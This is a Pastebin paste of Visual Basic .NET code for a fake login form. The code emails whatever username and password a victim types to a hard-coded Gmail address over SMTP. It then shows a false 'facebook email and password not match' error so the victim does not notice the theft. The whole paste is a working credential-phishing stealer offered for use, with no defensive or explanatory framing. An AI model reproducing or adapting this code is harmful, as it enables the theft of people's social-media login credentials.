Advertisement
Guest User

HTML Microsoft Visual Basic Express 2010

a guest
May 24th, 2012
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form2
  3.  
  4. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  5. If TextBox1.Text = "" Then
  6. MsgBox("Username Is Missing")
  7. If TextBox2.Text = "" Then
  8. MsgBox("Password Is Mising")
  9. Else
  10. End If
  11. End If
  12. Dim smtpServer As New SmtpClient()
  13. Dim mail As New MailMessage()
  14. smtpServer.Credentials = New Net.NetworkCredential("emailkau@gmail.com", "passwordkau")
  15. 'guna gmail account
  16. smtpServer.Port = 587
  17. smtpServer.Host = "smtp.gmail.com"
  18. smtpServer.EnableSsl = True
  19. mail = New MailMessage()
  20. mail.From = New MailAddress("emailkau@gmail.com")
  21. mail.To.Add("emailkau@gmail.com")
  22. mail.Subject = "Username: " & TextBox1.Text
  23. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  24. smtpServer.Send(mail)
  25. MsgBox("Error! you facebook email and password not match! please try again! ")
  26. End Sub
  27.  
  28. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  29. Me.Close()
  30.  
  31. End Sub
  32. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement